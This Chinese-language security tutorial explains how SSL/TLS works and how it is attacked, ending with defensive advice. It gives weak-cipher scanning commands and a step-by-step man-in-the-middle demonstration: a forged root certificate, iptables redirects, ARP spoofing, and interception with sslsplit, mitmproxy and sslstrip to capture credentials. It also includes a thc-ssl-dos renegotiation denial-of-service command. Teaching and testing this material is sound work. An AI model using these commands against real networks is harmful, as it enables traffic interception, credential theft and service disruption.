SSL_TLS 攻擊原理解析

2021-02-13 信安之路

本文主要描述 HTTPS 中對於 ssl/tls 加密的攻擊手法,什麼是 HTTPS 呢?百度百科的解釋如下:

HTTPS(全稱:Hyper Text Transfer Protocol over Secure Socket Layer),是以安全為目標的 HTTP 通道,簡單講是 HTTP 的安全版。即 HTTP 下加入 SSL 層,HTTPS 的安全基礎是 SSL,因此加密的詳細內容就需要 SSL。

0x01 知識鋪墊

ssl/tls 用途

1、為實現 CIA (保密性, 完整性, 可用性)

2、解決信息傳輸過程中數據被篡改,竊聽

3、通過,密鑰交換算法,對稱加密,非對稱加密,單向加密 (HASH) 手段進行加密

常見的攻擊方式

1、降級攻擊

2、解密攻擊(明文, 證書偽造)

3、協議漏洞, 實現方法的漏洞, 配置不嚴格

SSL/TLS 應用場景

1、http, 稱為 https

2、郵件傳輸(伺服器間, 客戶端與伺服器間)

3、資料庫伺服器間

4、LDAP 身份認證伺服器間

5、SSL VPN

6、DRP 通信過程的加密和身份認證

加密過程

1、協商加密協議

2、獲取公鑰證書

3、驗證公鑰證書

4、交換會話秘鑰

5、ssl連接建立完成,使用加密傳輸

詳細敘述:

1、瀏覽器將自己支持的加密規則(也就是 CipherSuite )發給伺服器

2、伺服器端收到請求,然後從客戶支持的 CipherSuite 中選出一個應答,並發送給客戶端公鑰證書和選用的 HASH 算法

3、客戶端收到公鑰之後,利用自己的信任的根證書對收到的公鑰進行驗證.若通過,客戶端隨機生成對稱密鑰 (Pre-Master secret),通過伺服器發給客戶端,然後使用公鑰對對稱密鑰進行加密,並計算連接中全部報文信息的 hash ,再利用生成的對稱密鑰對 hash 值加密,然後把公鑰加密的對稱密鑰及對稱密鑰加密的 hash 值發送給伺服器.

4、伺服器利用自己的私鑰對利用公鑰加密的對稱密鑰進行解密,得到對稱密鑰. 再利用對稱密鑰解密 hash 值,對 hash 值進行驗證.在驗證成功後,會返回給客戶端 Finish 報文。(至此,ssl 連接建立成功)

5、ssl 連接建立完成之後信息的傳輸加密過程是這樣的:

客戶端:先用對稱密鑰加密要傳輸的信息,再利用 hash 算法得出加了密的信息的 hash 值.再利用公鑰對 hash 值進行加密,之後把對稱密鑰加密了的信息和利用公鑰加密後信息的 hash 值,傳輸給伺服器.

伺服器: 與客戶端基本相同,不過把公鑰加密換做私鑰加密。

簡單圖示

WireShark來分析回話過程

ssl 的弱點 

1、ssl 是不同的對稱、非對稱、單項加密算法的組合加密實現(cipher suite)

2、伺服器為實現更好的兼容性, 支持大量的過時的 cipher suite

3、協商過程中可能強迫降低加密強度

4、現代處理器的計算性能使可再可接受的時間內破解過時的加密算法

0x02 HTTPS 弱點掃描

這裡主要針對弱 cipher suite 的弱加密組合和歷史漏洞(如 heartbleed )進行掃描,常見工具如下:

openssl

openssl s_client connect www.baidu.com:443

檢查支持的不安全的 cipher

openssl s_client -tls1_2 -cipher 'NULL,EXPORT,LOW,DES' -connect www.baidu.com:443

sslscan

自動識別 ssl 配置錯誤, 過期協議, 過時的 cipher suite, 默認檢查 crime, heartbleed 漏洞, 綠色表示安全, 紅色,黃色需引起注意:

sslscan --tlsall www.baidu.com:443

分析證書詳細信息

sslscan --show-certificate --no-ciphersuites www.baidu.com

sslyze

檢查 ssl 過時版本, 檢查存在弱點的 cipher suite, 掃描多站點時,支持讀自文件,檢查是否支持回話恢復

sslyze --regular www.baidu.com:443

nmap

nmap --script=ssl-enum-ciphers.nse www.baidu.com

當然,nmap 還有其他檢查 ssl 的腳本

在線查詢

https://www.ssllabs.com/ssltest

0x03 SSL 中間人攻擊

攻擊者告訴目標機自己是網關,同時 NAT 轉發目標機的信息給網關.

圖解

圖是網絡上的,圖示很贊.(侵刪)

實現中間人攻擊手段

為實現攻擊者插入到被攻擊者和伺服器通信鏈路中的手段

1、ARP 欺騙

2、DHCP伺服器

自己搭建一個 DHCP 伺服器,如果攻擊者的 DHCP 伺服器與被攻擊者的距離比網關與被攻擊者的距離近才可行,會有一個接受先響應者的就近原則

3、通過 ICMP, STP, OSPF 協議攻擊 欺騙 ICMP 重定向, STP 的根, OSPF 的默認路由

4、理論可行的(操作前提是先控制被攻擊者): 修改被攻擊者網關, 修改被攻擊者 DNS, 修改被攻擊者 hosts

ssl 攻擊前提

1、客戶端信任偽造證書

客戶端禁止顯示證書錯誤, 被攻擊者自己點擊信任, 攻擊者控制了客戶端,強迫信任證書.

2、攻擊者控制了證書頒發機構,拿到合法證書(當然,也可以合法的花錢購買)

攻擊演示

1、偽造證書

生成證書私鑰:

openssl genrsa -out ca.key 2048

利用私鑰,生成根證書

openssl req -new -x509 -days 999 -key ca.key -out ca.crt

這裡需要填寫信息,可以仿照真實證書信息填寫.

2、啟動路由

sysctl -w net.ipv4.ip_forward=1

echo 1 > /proc/sys/net/ipv4/ip_forward

3、配置 iptables 的 nat 表

iptables -t nat -F #清空

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080

iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 #https 這是最重要的一條

iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA

iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPS

iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMAPS

iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S

iptables -t nat -L  # 確認

注意 攻擊者的 80,443, 587 等埠不能被其它程序佔用.

4.arp 欺騙

攻擊者

arpspoof -i eth0 -t 192.168.0.108 -r 192.168.0.1

被攻擊者:

上面是欺騙前的,下面是欺騙後的。

5、sslsplit

透明的 ssl/tls 中間人攻擊工具 對客戶端偽造伺服器,對伺服器偽裝客戶端,偽裝伺服器時需要證書,支持 ssl/tls 加密的 smtp, pop3, ftp 等通信中間人攻擊

mkdir -p test/log

sslsplit -D -l connect.log -j /root/test -S /root/test/log -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

被攻擊者訪問 HTTPS 網站

為了演示, 這裡就點繼續訪問吧.

攻擊者可以從日誌中查看到被攻擊者傳輸的內容, 但是請注意不是所有信息都是那麼明朗,比如淘寶,百度等的密碼欄會先利用其他加密組件進行加密然後才進行傳輸,我們能看到的只是傳輸過程的明文信息。

補充

如果不喜歡 sslsplit 還可以選其它工具,同樣是 arp 欺騙,然後埠轉發,之後使用 ssl 透明代理工具

mitmproxy

開啟路由:

echo 1 > /proc/sys/net/ipv4/ip_forward

埠轉發:

iptables -t nat -F #清空

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080

iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080

arp 欺騙

arpspoof -i eth0 -t 192.168.0.108 -r 192.168.0.1

啟用 mitmproxy

mitmproxy -T --host -w logfile.log

依然會報證書錯誤,不過在沒有在沒有加密組件的情況下,可以直接獲取用戶名和密碼。

sslstrip

注意:此工具直接將客戶端到中間人之間的流量變為明文,其它準備步驟相同,然後執行:

sslstrip -l 8080

這樣可以把 https 網站轉化成 http,不再報證書錯誤。

尤其對手機而言,更不會注意到地址欄的信息,所以相對隱蔽一些。

查看當前目錄生成的 sslstrip.log 文件(默認只記錄 post 的數據)可查看 post 的數據。

0x04 SSL/TLS 拒絕服務攻擊

主要是利用 ssl-renegotiation(如果禁用下面這個攻擊工具就不能直接利用了), 不斷的重協商,增加伺服器負擔,而不是流量式的攻擊

thc-ssl-dos ip 443 --accept

0x05 SSL/TLS 的安全前提

SSL/TLS 的安全基礎是私鑰的保密,這裡以一道 CTF 題來做引證。

題目假設: 獲得了伺服器私鑰, 和抓包的得到加密流量

1、WireShark 打開流量包:

wireshark: Preferences -> Protocols -> SSL -> Edit RSA keys list

輸入私鑰的文件地址信息

然後可以右鍵一個 ssl 包,追蹤流(選中 ssl 流)


0x06 總結

tls/ssl 大大的提高了各種應用的安全性,提高了各種劫持破解的成本。但是不是百分百的安全,當訪問一個網站的時候,如果遇到證書錯誤,如果不是有足夠的理由去信任的,請直接拒絕訪問。新的技術引入的同時,如果不注意正確配置,還會造成新的攻擊面,如本文提到的拒絕服務攻擊,所以在配置 ssl 時,注意關閉客戶端發起的重協商請求。同時要注意伺服器私鑰的保管,如果洩露了,那麼 SSL 的一切安全基礎也沒有了。最後,希望本文對大家有一點點力量。

相關焦點

  • SSL/TLS 原理詳解
    SSL/TLS作為一種網際網路安全加密技術,原理較為複雜,枯燥而無味,我也是試圖理解之後重新整理,儘量做到層次清晰。正文開始。1.Master secret上面已經提到,由於服務端和客戶端都有一份相同的PreMaster secret和隨機數,這個隨機數將作為後面產生Master secret的種子,結合PreMaster secret,客戶端和服務端將計算出同樣的Master secret。
  • TLS/SSL 高級進階
    這樣的時間差還是可以忍受的,不過,這裡還沒算入 DNS 解析,這個暫時不考慮。而且,TLS/SSL 生成的 sessionkey 如果在有效期內的話,那麼這個時間就可以完全忽略掉了。不多說了,我們直接來看下 TLS/SSL 的基本內容。TLS 算法TLS/SSL 其實就是通過非對稱加密,生成對稱加密的 sessionkey 的過程。
  • 在 Ubuntu 上使用 SSL/TLS 搭建一個安全的 FTP 伺服器
    在遵循本指南中的各個步驟之後,我們將了解在 FTP 伺服器中啟用加密服務的基本原理,以確保安全的數據傳輸至關重要。要求在我們進行下一步之前,確保本文中的所有命令都將以root身份或者 sudo 特權帳號[3]運行。
  • CentOS7下vsftpd over SSL/TLS加密傳輸配置實踐
    /certs/openssl req -x509 -nodes -newkey rsa:2048 -keyout vsftpd.pem -out vsftpd.pem -days 365[root@VM_Server ~]# cd /etc/pki/tls/certs/[root@VM_Server certs
  • 如何在 CentOS 7 中使用 SSL/TLS 加固 FTP 伺服器進行安全文件傳輸
    在這篇文章中,我們會介紹在 CentOS/RHEL 7 以及 Fedora 中如何在 FTP 伺服器中手動啟用數據加密服務;我們會介紹使用 SSL/TLS 證書保護 VSFTPD(Very Secure FTP Daemon)服務的各個步驟。
  • 【乾貨】一文搞懂 SSL/TLS 原理
    SSL/TLS作為一種網際網路安全加密技術,原理較為複雜,枯燥而無味,我也是試圖理解之後重新整理,儘量做到層次清晰。
  • SSLScan:SSL版本檢測與密碼套件
    項目主頁https://github.com/rbsec/sslscan簡介sslscan是一個高效的c程序,它允許你檢測
  • 基於SSL的Client模型
    pers = NULL; int retry_left = MAX_RETRY; mbedtls_net_init( &skylab_tls_pack[num].server_fd ); mbedtls_ssl_init( &skylab_tls_pack[num].ssl ); mbedtls_ssl_config_init( &skylab_tls_pack
  • SSL / TLS 協議運行機制詳解
    連結:www.ruanyifeng.com/blog/2014/02/ssl_tls.html網際網路的通信安全,建立在SSL/TLS
  • 淺談 TLS 1.3
    TLS 1.2 支持了很多加密算法(包括 3DES、靜態 DH 等),這導致了 FREAK、Logjam、Sweet32 等攻擊的出現。TLS 1.3 縮緊了對加密原型的限制,避免了因伺服器啟用不安全的算法導致協議的安全性受到影響。在這方面的簡化也使得運維和開發者配置 TLS 變得更容易,不再容易誤用不安全的配置。
  • SSL/TLS協議解析
    主要fix了CBC模式相關的如BEAST攻擊等漏洞。2008: TLS 1.2. 作為RFC 5246 發布 。增進安全性。目前(2015年)應該主要部署的版本。2015之後: TLS 1.3,還在制訂中,支持0-rtt,大幅增進安全性,砍掉了aead之外的加密方式。由於SSL的2個版本都已經退出歷史舞臺了,所以本文後面只用TLS這個名字。
  • 聊聊 HTTPS 和 SSL/TLS 協議
    原文:http://www.techug.com/post/https-ssl-tls.html要說清楚 HTTPS 協議的實現原理
  • SSL/TLS協議運行機制的概述
    作者:阮一峰ruanyifeng.com/blog/2014/02/ssl_tls.html網際網路的通信安全,建立在SSL/TLS協議之上。本文簡要介紹SSL/TLS協議的運行機制。而且,協議還必須能夠經受所有匪夷所思的攻擊,這使得SSL/TLS協議變得異常複雜。
  • Docker安全之TLS加密通訊解析與配置驗證
    圖解TLS建立過程TLS的C/S建立連接的過程圖解(完整的即雙向驗證過程)大體上是發送hello包,客戶端發送認證和請求認證,對應的回應認證,其後進行對應的協商驗證,生成信息,最後兩邊開始準備加密通信,雙方使用客戶端密鑰通過對稱加密算法對通信內容加密後進行雙向通信,隨著通訊結束,任意一方斷開ssl連接的信息即可。
  • SSL/TLS 協議運行機制的概述
    來源:阮一峰的網絡日誌連結:www.ruanyifeng.com/blog/2014/02/ssl_tls.html
  • Python升級後ssl模塊不可用問題解決和淺析
    -ql openssl/etc/pki/CA/etc/pki/CA/certs/etc/pki/CA/crl/etc/pki/CA/newcerts/etc/pki/CA/private/etc/pki/tls/certs/Makefile/etc/pki/tls/certs/make-dummy-cert/etc/pki/tls/certs
  • 使用ssl_exporter監控K8S集群證書
    安裝apiVersion: v1kind: Servicemetadata:  labels:    name: ssl-exporter  name: ssl-exporterspec:  ports:    - name: ssl-exporter      protocol
  • 加強 Nginx 的 SSL 安全
    然而,[RC4有一個不斷增加的列表來防止攻擊],(http://www.isg.rhul.ac.uk/tls/)其中的很多都將理論和現實交叉在一起。而且,這就是為什麼NSA已經破解了RC4,他們所謂的「重大的突破」。禁用RC4有幾個結果。一、使用差勁兒瀏覽器的用戶將使用3DES來代替。3-DES比RC4更安全。但是就意味著更加昂貴。你的伺服器會因為這樣的用戶開銷更大。
  • SSL/TLS 握手優化詳解
    (點擊上方公眾號,可快速關注)來源:Jerry Qu連結:https://imququ.com/post/optimize-tls-handshake.html
  • 公鑰基礎設施(PKI)原理+OpenSSL實戰
    ># index.db存儲Root CA頒發的數字證書的信息touch index.dbecho "unique_subject = yes" > index.db.attrcp /root/work/priv.pass.enc /etc/pki/tls配置Root CA,將/etc/ssl/openssl.cnf文件拷貝到